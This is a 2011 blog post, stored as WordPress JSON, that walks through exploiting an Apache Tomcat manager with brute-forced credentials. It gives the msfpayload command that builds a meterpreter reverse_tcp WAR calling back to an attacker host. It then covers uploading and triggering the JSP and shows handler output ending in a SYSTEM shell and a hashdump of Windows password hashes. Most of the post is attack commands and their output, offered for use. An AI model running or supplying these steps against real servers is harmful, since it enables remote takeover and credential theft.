{"id":79,"date":"2011-05-22T19:25:54","date_gmt":"2011-05-22T18:25:54","guid":{"rendered":"http:\/\/www.phillips321.co.uk\/?p=79"},"modified":"2011-05-23T05:20:01","modified_gmt":"2011-05-23T04:20:01","slug":"apache-tomcat","status":"publish","type":"post","link":"https:\/\/www.phillips321.co.uk\/2011\/05\/22\/apache-tomcat\/","title":{"rendered":"Apache Tomcat &#8211; exploiting an open management interface"},"content":{"rendered":"<p>So, you&#8217;ve just brute forced the admin password for the Tomcat web app manager and you want to take it a step further&#8230;. step in metasploit.<\/p>\n<p>msfpayload can create a WAR file containing a payload which you can upload to the target and exploit the box.<\/p>\n<div class=\"codecolorer-container bash vibrant\" style=\"overflow:auto;white-space:nowrap;width:100%;\"><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td class=\"line-numbers\"><div>1<br \/><\/div><\/td><td><div class=\"bash codecolorer\">.<span class=\"sy0\">\/<\/span>msfpayload windows<span class=\"sy0\">\/<\/span>meterpreter<span class=\"sy0\">\/<\/span>reverse_tcp <span class=\"re2\">LHOST<\/span>=192.168.1.109 <span class=\"re2\">LPORT<\/span>=<span class=\"nu0\">4545<\/span> W <span class=\"sy0\">&gt;<\/span>; <span class=\"sy0\">\/<\/span>root<span class=\"sy0\">\/<\/span>MetRev.war<\/div><\/td><\/tr><\/tbody><\/table><\/div>\n<p>Log into the interface at http:\/\/192.168.1.112:8080\/manager\/html and upload the payload.<\/p>\n<p>Once uploaded you then need to connect to the jsp file, the name can be found inside the WAR by quickly unzipping:<\/p>\n<div class=\"codecolorer-container bash vibrant\" style=\"overflow:auto;white-space:nowrap;width:100%;\"><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td class=\"line-numbers\"><div>1<br \/>2<br \/>3<br \/>4<br \/>5<br \/>6<br \/>7<br \/>8<br \/>9<br \/>10<br \/>11<br \/><\/div><\/td><td><div class=\"bash codecolorer\"><span class=\"co4\">root@bt:~# <\/span><span class=\"kw2\">unzip<\/span> <span class=\"re5\">-l<\/span> MetRev.war<br \/>\nArchive: &nbsp;MetRev.war<br \/>\nLength &nbsp; &nbsp; &nbsp;Date &nbsp; &nbsp;Time &nbsp; &nbsp;Name<br \/>\n<span class=\"re5\">---------<\/span> &nbsp;<span class=\"re5\">----------<\/span> <span class=\"re5\">-----<\/span> &nbsp; <span class=\"re5\">----<\/span><br \/>\n<span class=\"nu0\">71<\/span> &nbsp;<span class=\"nu0\">2011<\/span>-05-<span class=\"nu0\">22<\/span> <span class=\"nu0\">19<\/span>:06 &nbsp; META-INF<span class=\"sy0\">\/<\/span>MANIFEST.MF<br \/>\n<span class=\"nu0\">0<\/span> &nbsp;<span class=\"nu0\">2011<\/span>-05-<span class=\"nu0\">22<\/span> <span class=\"nu0\">19<\/span>:06 &nbsp; WEB-INF<span class=\"sy0\">\/<\/span><br \/>\n<span class=\"nu0\">267<\/span> &nbsp;<span class=\"nu0\">2011<\/span>-05-<span class=\"nu0\">22<\/span> <span class=\"nu0\">19<\/span>:06 &nbsp; WEB-INF<span class=\"sy0\">\/<\/span>web.xml<br \/>\n<span class=\"nu0\">1578<\/span> &nbsp;<span class=\"nu0\">2011<\/span>-05-<span class=\"nu0\">22<\/span> <span class=\"nu0\">19<\/span>:06 &nbsp; nqaxmatvd.jsp<br \/>\n<span class=\"nu0\">147604<\/span> &nbsp;<span class=\"nu0\">2011<\/span>-05-<span class=\"nu0\">22<\/span> <span class=\"nu0\">19<\/span>:06 &nbsp; jVfQFWuAPAToYS.txt<br \/>\n<span class=\"re5\">---------<\/span> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class=\"re5\">-------<\/span><br \/>\n<span class=\"nu0\">149520<\/span> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class=\"nu0\">5<\/span> files<\/div><\/td><\/tr><\/tbody><\/table><\/div>\n<p>Start the meterpreter reverse_tcp handler and before you know it&#8230;<br \/>\nhttp:\/\/192.168.1.112:8080\/MetRev\/nqaxmatvd.jsp  ROOT!!!!<\/p>\n<div class=\"codecolorer-container bash vibrant\" style=\"overflow:auto;white-space:nowrap;width:100%;\"><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td class=\"line-numbers\"><div>1<br \/>2<br \/>3<br \/>4<br \/>5<br \/>6<br \/>7<br \/>8<br \/>9<br \/>10<br \/>11<br \/><\/div><\/td><td><div class=\"bash codecolorer\">msf exploit<span class=\"br0\">&#40;<\/span>handler<span class=\"br0\">&#41;<\/span> <span class=\"sy0\">&gt;<\/span> exploit<br \/>\n<span class=\"br0\">&#91;<\/span><span class=\"sy0\">*<\/span><span class=\"br0\">&#93;<\/span> Started reverse handler on 192.168.1.109:<span class=\"nu0\">4444<\/span><br \/>\n<span class=\"br0\">&#91;<\/span><span class=\"sy0\">*<\/span><span class=\"br0\">&#93;<\/span> Starting the payload handler...<br \/>\n<span class=\"br0\">&#91;<\/span><span class=\"sy0\">*<\/span><span class=\"br0\">&#93;<\/span> Sending stage <span class=\"br0\">&#40;<\/span><span class=\"nu0\">749056<\/span> bytes<span class=\"br0\">&#41;<\/span> to 192.168.1.112<br \/>\n<span class=\"br0\">&#91;<\/span><span class=\"sy0\">*<\/span><span class=\"br0\">&#93;<\/span> Meterpreter session <span class=\"nu0\">1<\/span> opened <span class=\"br0\">&#40;<\/span>192.168.1.109:<span class=\"nu0\">4444<\/span> -<span class=\"sy0\">&gt;<\/span> 192.168.1.112:<span class=\"nu0\">1084<\/span><span class=\"br0\">&#41;<\/span> at <span class=\"nu0\">2011<\/span>-05-<span class=\"nu0\">22<\/span> <span class=\"nu0\">19<\/span>:09:<span class=\"nu0\">26<\/span> +0100<br \/>\nmeterpreter <span class=\"sy0\">&gt;<\/span> getuid<br \/>\nServer username: NT AUTHORITY\\SYSTEM<br \/>\nmeterpreter <span class=\"sy0\">&gt;<\/span> hashdump<br \/>\nAdministrator:<span class=\"nu0\">500<\/span>:e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c:::<br \/>\nGuest:<span class=\"nu0\">501<\/span>:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::<br \/>\nSUPPORT_388945a0?:<span class=\"nu0\">1001<\/span>:aad3b435b51404eeaad3b435b51404ee:0849fe34e1da4ff869da83eb443e12e3:::<\/div><\/td><\/tr><\/tbody><\/table><\/div>\n","protected":false},"excerpt":{"rendered":"<p>So, you&#8217;ve just brute forced the admin password for the Tomcat web app manager and you want to take it a step further&#8230;. step in metasploit. msfpayload can create a WAR file containing a payload which you can upload to the target and exploit the box. 1.\/msfpayload windows\/meterpreter\/reverse_tcp LHOST=192.168.1.109 LPORT=4545 W &gt;; \/root\/MetRev.war Log into [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[1],"tags":[46,45,44,47,42,43],"_links":{"self":[{"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/posts\/79"}],"collection":[{"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/comments?post=79"}],"version-history":[{"count":6,"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/posts\/79\/revisions"}],"predecessor-version":[{"id":85,"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/posts\/79\/revisions\/85"}],"wp:attachment":[{"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/media?parent=79"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/categories?post=79"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/tags?post=79"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}